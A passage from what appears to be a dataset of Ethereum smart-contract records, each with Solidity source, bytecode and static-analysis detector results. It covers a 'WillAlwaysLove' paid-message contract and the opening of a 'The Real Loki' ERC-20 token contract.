0000000000000000000000000000000000000000000000000000909152606483018190529451909850939650600095506001600160a01b037f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e1694506302571be393608480830194509091829003018186803b15801561059b57600080fd5b505afa1580156105af573d6000803e3d6000fd5b505050506040513d60208110156105c557600080fd5b50516001600160a01b03161461060c5760405162461bcd60e51b8152600401808060200182810382526028815260200180610f836028913960400191505060405180910390fd5b604080517f5ef2c7f00000000000000000000000000000000000000000000000000000000081527f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad96004820152602481018490526001600160a01b0385811660448301527f0000000000000000000000004184dd6ad5d68cc88dd736b31707df0e1c265e9e8116606483015260006084830181905292517f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e90911692635ef2c7f09260a4808201939182900301818387803b1580156106ea57600080fd5b505af11580156106fe573d6000803e3d6000fd5b505050507f0000000000000000000000004184dd6ad5d68cc88dd736b31707df0e1c265e9e6001600160a01b031663d5fa2b0082856040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b15801561078257600080fd5b505af1158015610796573d6000803e3d6000fd5b505050506060858560016040516020018084848082843780830192505050807f2e00000000000000000000000000000000000000000000000000000000000000815250600101828054600181600116156101000203166002900480156108335780601f10610811576101008083540402835291820191610833565b820191906000526020600020905b81548152906001019060200180831161081f575b505060408051601f198184030181528282526002547fbffbe61c0000000000000000000000000000000000000000000000000000000084526001600160a01b038c8116600486015292519198506000975091909116945063bffbe61c935060248083019350602092829003018186803b1580156108af57600080fd5b505afa1580156108c3573d6000803e3d6000fd5b505050506040513d60208110156108d957600080fd5b5051604080517f7737221300000000000000000000000000000000000000000000000000000000815260048101838152602482019283528551604483015285519394506001600160a01b037f0000000000000000000000004184dd6ad5d68cc88dd736b31707df0e1c265e9e16936377372213938693889392606490910190602085019080838360005b8381101561097b578181015183820152602001610963565b50505050905090810190601f1680156109a85780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b1580156109c857600080fd5b505af11580156109dc573d6000803e3d6000fd5b50505050846001600160a01b03167f9f2a065383b236afdeb6e9b1d77966068499287f92b04c37831f34f565d14401836040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a49578181015183820152602001610a31565b50505050905090810190601f168015610a765780820380516001836020036101000a031916815260200191505b509250505060405180910390a250505050505050565b610a94610f20565b6000546001600160a01b03908116911614610af6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b604080517f02571be30000000000000000000000000000000000000000000000000000000081527f91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2600482015290516001600160a01b037f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e16916302571be3916024808301926020929190829003018186803b158015610b9557600080fd5b505afa158015610ba9573d6000803e3d6000fd5b505050506040513d6020811015610bbf57600080fd5b50516002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b610bf7610f20565b6000546001600160a01b03908116911614610c59576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b7f91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e281565b7f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e81565b6002546001600160a01b031681565b6000546001600160a01b031690565b7f0000000000000000000000004184dd6ad5d68cc88dd736b31707df0e1c265e9e81565b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f81018490048402820184019092528181529291830182828015610ddd5780601f10610db257610100808354040283529160200191610ddd565b820191906000526020600020905b815481529060010190602001808311610dc057829003601f168201915b505050505081565b610ded610f20565b6000546001600160a01b03908116911614610e4f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610e945760405162461bcd60e51b8152600401808060200182810382526026815260200180610f256026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b7f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad981565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d6972726f72454e535265676973747261723a2063616c6c6572206973206e6f7420746865204d6972726f7220577269746520546f6b656e4d6972726f72454e534d616e616765723a206c6162656c20697320616c7265616479206f776e6564a2646970667358221220959146db9b06917e4cbea1d4b61b3ef49a7d1575abb54fe393ad1ccdb041fa9764736f6c63430006080033
{"success": true, "error": null, "results": {}}
1,292
0xe9827370ae7c0aa97e87b6dbe56e0bd735a552f1
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private reentrancyLock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } } contract WillAlwaysLove is Ownable, ReentrancyGuard { using SafeMath for uint256; // ------------------------------------------------------------ uint256 public constant DEFAULT_INITIAL_COST = 0.025 ether; uint256 public constant DEFAULT_LOCK_COST_PER_HOUR = 0.0006 ether; // 10 szabo per minute uint256 public constant DEFAULT_MAX_LOCK_DURATION = 1 weeks; uint256 public constant DEVELOPER_CUT = 25; // % // ------------------------------------------------------------ struct LoveStory { address owner; bytes32 loverName; bytes32 lovedOneName; uint256 transferCost; uint256 lockedUntil; string data; } // ------------------------------------------------------------ uint256 public initialCost; uint256 public lockCostPerHour; uint256 public maxLockDuration; mapping(bytes16 => LoveStory) private loveStories; uint256 public loveStoriesCount; mapping (address => uint256) private pendingWithdrawals; // ------------------------------------------------------------ event LoveStoryCreated( bytes16 id, address owner, bytes32 loverName, bytes32 lovedOneName, uint256 transferCost, uint256 lockedUntil, string data ); event LoveStoryUpdated( bytes16 id, bytes32 loverName, bytes32 lovedOneName, string data ); event LoveStoryTransferred( bytes16 id, address oldOwner, address newOwner, bytes32 newLoverName, bytes32 newLovedOneName, uint256 newtransferCost, uint256 lockedUntil, string data ); event Withdrawal( address withdrawer, uint256 amount ); // ------------------------------------------------------------ modifier onlyForUnregisteredId(bytes16 _id) { require(!isIdRegistered(_id)); _; } modifier onlyForRegisteredId(bytes16 _id) { require(isIdRegistered(_id)); _; } modifier onlyForValidId(bytes16 _id) { require(isIdValid(_id)); _; } modifier onlyWithPendingWithdrawal() { require(withdrawableAmount() != 0); _; } modifier onlyLoveStoryOwner(bytes16 _id) { require(loveStories[_id].owner == msg.sender); _; } // ------------------------------------------------------------ constructor () public { initialCost = DEFAULT_INITIAL_COST; lockCostPerHour = DEFAULT_LOCK_COST_PER_HOUR; maxLockDuration = DEFAULT_MAX_LOCK_DURATION; } function () public payable { } function createCost(uint256 _lockDurationInHours) public view returns (uint256) { return initialCost.add(lockCostPerHour.mul(_lockDurationInHours)); } function createLoveStory(bytes16 _id, bytes32 _loverName, bytes32 _lovedOneName, uint256 _lockDurationInHours) public payable { createLoveStoryWithData(_id, _loverName, _lovedOneName, _lockDurationInHours, ""); } function createLoveStoryWithData(bytes16 _id, bytes32 _loverName, bytes32 _lovedOneName, uint256 _lockDurationInHours, string _data) public payable onlyForValidId(_id) onlyForUnregisteredId(_id) { require(msg.value >= createCost(_lockDurationInHours)); _updateLoveStory(_id, _loverName, _lovedOneName, _lockDurationInHours, _data); loveStoriesCount = loveStoriesCount.add(1); pendingWithdrawals[owner] = pendingWithdrawals[owner].add(msg.value); LoveStory storage _loveStory = loveStories[_id]; emit LoveStoryCreated ( _id, _loveStory.owner, _loveStory.loverName, _loveStory.lovedOneName, _loveStory.transferCost, _loveStory.lockedUntil, _loveStory.data ); } function updateLoveStory(bytes16 _id, bytes32 _loverName, bytes32 _lovedOneName) public onlyLoveStoryOwner(_id) { LoveStory storage _loveStory = loveStories[_id]; _loveStory.loverName = _loverName; _loveStory.lovedOneName = _lovedOneName; emit LoveStoryUpdated ( _id, _loveStory.loverName, _loveStory.lovedOneName, _loveStory.data ); } function updateLoveStoryWithData(bytes16 _id, bytes32 _loverName, bytes32 _lovedOneName, string _data) public onlyLoveStoryOwner(_id) { LoveStory storage _loveStory = loveStories[_id]; _loveStory.loverName = _loverName; _loveStory.lovedOneName = _lovedOneName; _loveStory.data = _data; emit LoveStoryUpdated ( _id, _loveStory.loverName, _loveStory.lovedOneName, _loveStory.data ); } function transferCost(bytes16 _id, uint256 _lockDurationInHours) public view onlyForValidId(_id) onlyForRegisteredId(_id) returns (uint256) { return loveStories[_id].transferCost.add(lockCostPerHour.mul(_lockDurationInHours)); } function transferLoveStory(bytes16 _id, bytes32 _loverName, bytes32 _lovedOneName, uint256 _lockDurationInHours) public payable onlyForValidId(_id) onlyForRegisteredId(_id) { LoveStory storage _loveStory = loveStories[_id]; transferLoveStoryWithData(_id, _loverName, _lovedOneName, _lockDurationInHours, _loveStory.data); } function transferLoveStoryWithData(bytes16 _id, bytes32 _loverName, bytes32 _lovedOneName, uint256 _lockDurationInHours, string _data) public payable onlyForValidId(_id) onlyForRegisteredId(_id) { LoveStory storage _loveStory = loveStories[_id]; address _oldOwner = _loveStory.owner; require(_oldOwner != msg.sender); require(msg.value >= transferCost(_id, _lockDurationInHours)); require(now >= _loveStory.lockedUntil); _updateLoveStory(_id, _loverName, _lovedOneName, _lockDurationInHours, _data); uint256 _developerPayment = msg.value.mul(DEVELOPER_CUT).div(100); uint256 _oldOwnerPayment = msg.value.sub(_developerPayment); require(msg.value == _developerPayment.add(_oldOwnerPayment)); pendingWithdrawals[owner] = pendingWithdrawals[owner].add(_developerPayment); pendingWithdrawals[_oldOwner] = pendingWithdrawals[_oldOwner].add(_oldOwnerPayment); emit LoveStoryTransferred ( _id, _oldOwner, _loveStory.owner, _loveStory.loverName, _loveStory.lovedOneName, _loveStory.transferCost, _loveStory.lockedUntil, _loveStory.data ); } function readLoveStory(bytes16 _id) public view returns (address _loveStoryOwner, bytes32 _loverName, bytes32 _lovedOneName, uint256 _transferCost, uint256 _lockedUntil, string _data) { LoveStory storage _loveStory = loveStories[_id]; _loveStoryOwner = _loveStory.owner; _loverName = _loveStory.loverName; _lovedOneName = _loveStory.lovedOneName; _transferCost = _loveStory.transferCost; _lockedUntil = _loveStory.lockedUntil; _data = _loveStory.data; } function isIdRegistered(bytes16 _id) public view returns (bool) { return loveStories[_id].owner != 0x0; } function isIdValid(bytes16 _id) public pure returns (bool) { for (uint256 i = 0; i < 16; i = i.add(1)) { if (i == 0) { // First char must be between 'a' and 'z'. It CAN'T be NULL. if ( ! _isLowercaseLetter(_id[i]) ) { return false; } } else if (i == 15) { // Last char must between 'a' and 'z'. It can also be a terminating NULL. if ( !(_isLowercaseLetter(_id[i]) || _id[i] == 0) ) { return false; } } else { // In-between chars must between 'a' and 'z' or '-'. Otherwise, they should be the unset bytes. // The last part is verifiied by requiring that an in-bewteen char that is NULL // must *also* be follwed by a NULL. if ( !(_isLowercaseLetter(_id[i]) || (_id[i] == 0x2D && _id[i+1] != 0) || (_id[i] == _id[i+1] && _id[i] == 0)) ) { return false; } } } return true; } function withdrawableAmount() public view returns (uint256) { return pendingWithdrawals[msg.sender]; } function withdraw() external nonReentrant onlyWithPendingWithdrawal { uint256 amount = pendingWithdrawals[msg.sender]; pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); emit Withdrawal ( msg.sender, amount ); } function withdrawableAmountFor(address _withdrawer) public view onlyOwner returns (uint256) { return pendingWithdrawals[_withdrawer]; } function changeInitialCost(uint256 _initialCost) external onlyOwner { initialCost = _initialCost; } function changeLockCostPerHour(uint256 _lockCostPerHour) external onlyOwner { lockCostPerHour = _lockCostPerHour; } function changeMaxLockDuration(uint256 _maxLockDuration) external onlyOwner { maxLockDuration = _maxLockDuration; } // ------------------------------------------------------------ function _updateLoveStory(bytes16 _id, bytes32 _loverName, bytes32 _lovedOneName, uint256 _lockDurationInHours, string _data) private { require(_lockDurationInHours * 1 hours <= maxLockDuration); LoveStory storage _loveStory = loveStories[_id]; _loveStory.owner = msg.sender; _loveStory.loverName = _loverName; _loveStory.lovedOneName = _lovedOneName; _loveStory.transferCost = msg.value.mul(2); _loveStory.lockedUntil = now.add(_lockDurationInHours.mul(1 hours)); _loveStory.data = _data; } function _isLowercaseLetter(byte _char) private pure returns (bool) { // Char must be a small case letter: [a-z] return _char >= 0x61 && _char <= 0x7A; } }
0x6080604052600436106101685763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416628ad306811461016a5780631f461f0d14610182578063282c3c47146101b55780632ff4f24e146101ca57806330fd7696146101e85780633ccfd60b146102505780633dc6e9b0146102655780634c3bf0b51461027d5780634e87c7151461029557806369997696146102aa578063715018a614610317578063800362ae1461032c5780638da5cb5b14610341578063925cbdd11461037257806392eaa6421461038a578063951303f5146103a85780639b4f1ecb146103bd578063a16cdbb1146103d2578063a220a90e146103e7578063a71a3dde1461044f578063b23e35bf14610464578063c2410a6914610530578063c822bd3d14610545578063dac8df251461056a578063eeb441a41461057f578063f2fde38b146105a7578063f4d56a51146105c8578063ffa6ae80146105fe575b005b34801561017657600080fd5b50610168600435610620565b34801561018e57600080fd5b506101a3600160a060020a036004351661063c565b60408051918252519081900360200190f35b3480156101c157600080fd5b506101a3610670565b6101686001608060020a031960043516602435604435606435610677565b604080516020601f608435600481810135928301849004840285018401909552818452610168946001608060020a0319813516946024803595604435956064359536959460a494909391019190819084018382808284375094975061069a9650505050505050565b34801561025c57600080fd5b50610168610904565b34801561027157600080fd5b50610168600435610a14565b34801561028957600080fd5b50610168600435610a30565b3480156102a157600080fd5b506101a3610a4c565b3480156102b657600080fd5b50604080516020601f606435600481810135928301849004840285018401909552818452610168946001608060020a03198135169460248035956044359536956084949301918190840183828082843750949750610a579650505050505050565b34801561032357600080fd5b50610168610bb3565b34801561033857600080fd5b506101a3610c1f565b34801561034d57600080fd5b50610356610c25565b60408051600160a060020a039092168252519081900360200190f35b34801561037e57600080fd5b506101a3600435610c34565b6101686001608060020a031960043516602435604435606435610c63565b3480156103b457600080fd5b506101a3610d55565b3480156103c957600080fd5b506101a3610d69565b3480156103de57600080fd5b506101a3610d6f565b604080516020601f608435600481810135928301849004840285018401909552818452610168946001608060020a0319813516946024803595604435956064359536959460a4949093910191908190840183828082843750949750610d759650505050505050565b34801561045b57600080fd5b506101a3611069565b34801561047057600080fd5b506104866001608060020a031960043516611074565b60408051600160a060020a03881681526020808201889052918101869052606081018590526080810184905260c060a0820181815284519183019190915283519192909160e084019185019080838360005b838110156104f05781810151838201526020016104d8565b50505050905090810190601f16801561051d5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34801561053c57600080fd5b506101a3611153565b34801561055157600080fd5b506101a36001608060020a031960043516602435611159565b34801561057657600080fd5b506101a36111ce565b34801561058b57600080fd5b506101686001608060020a0319600435166024356044356111d3565b3480156105b357600080fd5b50610168600160a060020a0360043516611303565b3480156105d457600080fd5b506105ea6001608060020a031960043516611326565b604080519115158252519081900360200190f35b34801561060a57600080fd5b506105ea6001608060020a0319600435166114cf565b600054600160a060020a0316331461063757600080fd5b600255565b60008054600160a060020a0316331461065457600080fd5b50600160a060020a031660009081526006602052604090205490565b62093a8081565b61069484848484602060405190810160405280600081525061069a565b50505050565b6000856106a681611326565b15156106b157600080fd5b866106bb816114cf565b156106c557600080fd5b6106ce85610c34565b3410156106da57600080fd5b6106e788888888886114f6565b6005546106fb90600163ffffffff6115a416565b60055560008054600160a060020a0316815260066020526040902054610727903463ffffffff6115a416565b600660008060009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a031681526020019081526020016000208190555060046000896fffffffffffffffffffffffffffffffff19166fffffffffffffffffffffffffffffffff1916815260200190815260200160002092507f37d7e1a6954483dd2e63d58e4b7f8d6ea0e897a5ba1bb0e031d4c818844fc3fd888460000160009054906101000a9004600160a060020a031685600101548660020154876003015488600401548960050160405180886fffffffffffffffffffffffffffffffff19166fffffffffffffffffffffffffffffffff1916815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018560001916600019168152602001848152602001838152602001806020018281038252838181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156108e65780601f106108bb576101008083540402835291602001916108e6565b820191906000526020600020905b8154815290600101906020018083116108c957829003601f168201915b50509850505050505050505060405180910390a15050505050505050565b6000805474010000000000000000000000000000000000000000900460ff161561092d57600080fd5b6000805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905561096a610d55565b151561097557600080fd5b5033600081815260066020526040808220805490839055905190929183156108fc02918491818181858888f193505050501580156109b7573d6000803e3d6000fd5b50604080513381526020810183905281517f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65929181900390910190a1506000805474ff000000000000000000000000000000000000000019169055565b600054600160a060020a03163314610a2b57600080fd5b600355565b600054600160a060020a03163314610a4757600080fd5b600155565b6658d15e1762800081565b6001608060020a031984166000908152600460205260408120548590600160a060020a03163314610a8757600080fd5b6001608060020a03198616600090815260046020908152604090912060018101879055600281018690558451909350610ac891600585019190860190611719565b50600180830154600280850154604080516001608060020a03198c16815260208101859052908101829052608060608201818152600589018054610100988116159890980260001901909716949094049082018190527f3dd197cb74641c838ec6e4dabdd3b72be882e400bb550ea4f858b778b2fb964f958c959490929160a083019084908015610b9a5780601f10610b6f57610100808354040283529160200191610b9a565b820191906000526020600020905b815481529060010190602001808311610b7d57829003601f168201915b50509550505050505060405180910390a1505050505050565b600054600160a060020a03163314610bca57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60055481565b600054600160a060020a031681565b6000610c5d610c4e836002546115b190919063ffffffff16565b6001549063ffffffff6115a416565b92915050565b600084610c6f81611326565b1515610c7a57600080fd5b85610c84816114cf565b1515610c8f57600080fd5b6001608060020a031987166000908152600460209081526040918290206005810180548451601f60026000196101006001861615020190931692909204918201859004850281018501909552808552919650610d4c938b938b938b938b9392909190830182828015610d425780601f10610d1757610100808354040283529160200191610d42565b820191906000526020600020905b815481529060010190602001808311610d2557829003601f168201915b5050505050610d75565b50505050505050565b336000908152600660205260409020545b90565b60015481565b60035481565b60008060008088610d8581611326565b1515610d9057600080fd5b89610d9a816114cf565b1515610da557600080fd5b6001608060020a03198b1660009081526004602052604090208054909650600160a060020a0316945033851415610ddb57600080fd5b610de58b89611159565b341015610df157600080fd5b6004860154421015610e0257600080fd5b610e0f8b8b8b8b8b6114f6565b610e316064610e2534601963ffffffff6115b116565b9063ffffffff6115da16565b9350610e43348563ffffffff6115ef16565b9250610e55848463ffffffff6115a416565b3414610e6057600080fd5b60008054600160a060020a0316815260066020526040902054610e89908563ffffffff6115a416565b60008054600160a060020a0390811682526006602052604080832093909355871681522054610ebe908463ffffffff6115a416565b6006600087600160a060020a0316600160a060020a03168152602001908152602001600020819055507f306dced164a6c3cce80bf75336cb2fd1e502477a67255daecb4da4f989eb67d18b868860000160009054906101000a9004600160a060020a031689600101548a600201548b600301548c600401548d60050160405180896fffffffffffffffffffffffffffffffff19166fffffffffffffffffffffffffffffffff1916815260200188600160a060020a0316600160a060020a0316815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018560001916600019168152602001848152602001838152602001806020018281038252838181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156110475780601f1061101c57610100808354040283529160200191611047565b820191906000526020600020905b81548152906001019060200180831161102a57829003601f168201915b5050995050505050505050505060405180910390a15050505050505050505050565b660221b262dd800081565b6001608060020a0319811660009081526004602081815260409283902080546001808301546002808501546003860154978601546005870180548b516101009782161597909702600019011693909304601f8101899004890286018901909a52898552600160a060020a039095169892979096909560609490939092918301828280156111425780601f1061111757610100808354040283529160200191611142565b820191906000526020600020905b81548152906001019060200180831161112557829003601f168201915b505050505091505091939550919395565b60025481565b60008261116581611326565b151561117057600080fd5b8361117a816114cf565b151561118557600080fd5b6002546111c59061119c908663ffffffff6115b116565b6001608060020a031987166000908152600460205260409020600301549063ffffffff6115a416565b95945050505050565b601981565b6001608060020a031983166000908152600460205260408120548490600160a060020a0316331461120357600080fd5b6001608060020a03198516600081815260046020908152604091829020600180820189905560028083018990558451958652928501899052928401879052608060608501818152600583018054958616156101000260001901909516939093049085018190529095507f3dd197cb74641c838ec6e4dabdd3b72be882e400bb550ea4f858b778b2fb964f9389938993899391929160a0830190849080156112eb5780601f106112c0576101008083540402835291602001916112eb565b820191906000526020600020905b8154815290600101906020018083116112ce57829003601f168201915b50509550505050505060405180910390a15050505050565b600054600160a060020a0316331461131a57600080fd5b61132381611601565b50565b6000805b60108110156114c4578015156113695761135583826010811061134957fe5b1a60f860020a0261167e565b151561136457600091506114c9565b6114ac565b80600f14156113bc5761138183826010811061134957fe5b80611355575082816010811061139357fe5b1a60f860020a02600160f860020a031916600060f860020a0214151561136457600091506114c9565b6113cb83826010811061134957fe5b8061142957508281601081106113dd57fe5b1a60f860020a02600160f860020a031916602d60f860020a02148015611429575082600182016010811061140d57fe5b1a60f860020a02600160f860020a031916600060f860020a0214155b8061149d575082600182016010811061143e57fe5b1a60f860020a02600160f860020a031916838260108110151561145d57fe5b1a60f860020a02600160f860020a03191614801561149d575082816010811061148257fe5b1a60f860020a02600160f860020a031916600060f860020a02145b15156114ac57600091506114c9565b6114bd81600163ffffffff6115a416565b905061132a565b600191505b50919050565b6001608060020a031916600090815260046020526040902054600160a060020a0316151590565b600354600090610e108402111561150c57600080fd5b506001608060020a031985166000908152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19163317815560018101859055600280820185905561156390349063ffffffff6115b116565b600382015561158a61157d84610e1063ffffffff6115b116565b429063ffffffff6115a416565b60048201558151610d4c9060058301906020850190611719565b81810182811015610c5d57fe5b60008215156115c257506000610c5d565b508181028183828115156115d257fe5b0414610c5d57fe5b600081838115156115e757fe5b049392505050565b6000828211156115fb57fe5b50900390565b600160a060020a038116151561161657600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60007f61000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000831610801590610c5d5750507f7a000000000000000000000000000000000000000000000000000000000000007fff0000000000000000000000000000000000000000000000000000000000000091909116111590565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061175a57805160ff1916838001178555611787565b82800160010185558215611787579182015b8281111561178757825182559160200191906001019061176c565b50611793929150611797565b5090565b610d6691905b80821115611793576000815560010161179d5600a165627a7a72305820b640dda73f67aaaa8458574325cfea07a84861532428c45de059c53d6b86eca60029
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
1,293
0xe16dcb7180ce87018dcfca000d200326f17a9fc6
/* The Real Loki (RLOKI) RealLoki.space https://t.me/TheRealLokiETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TheRealLoki is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "The Real Loki"; string private constant _symbol = "RLOKI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 12; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), 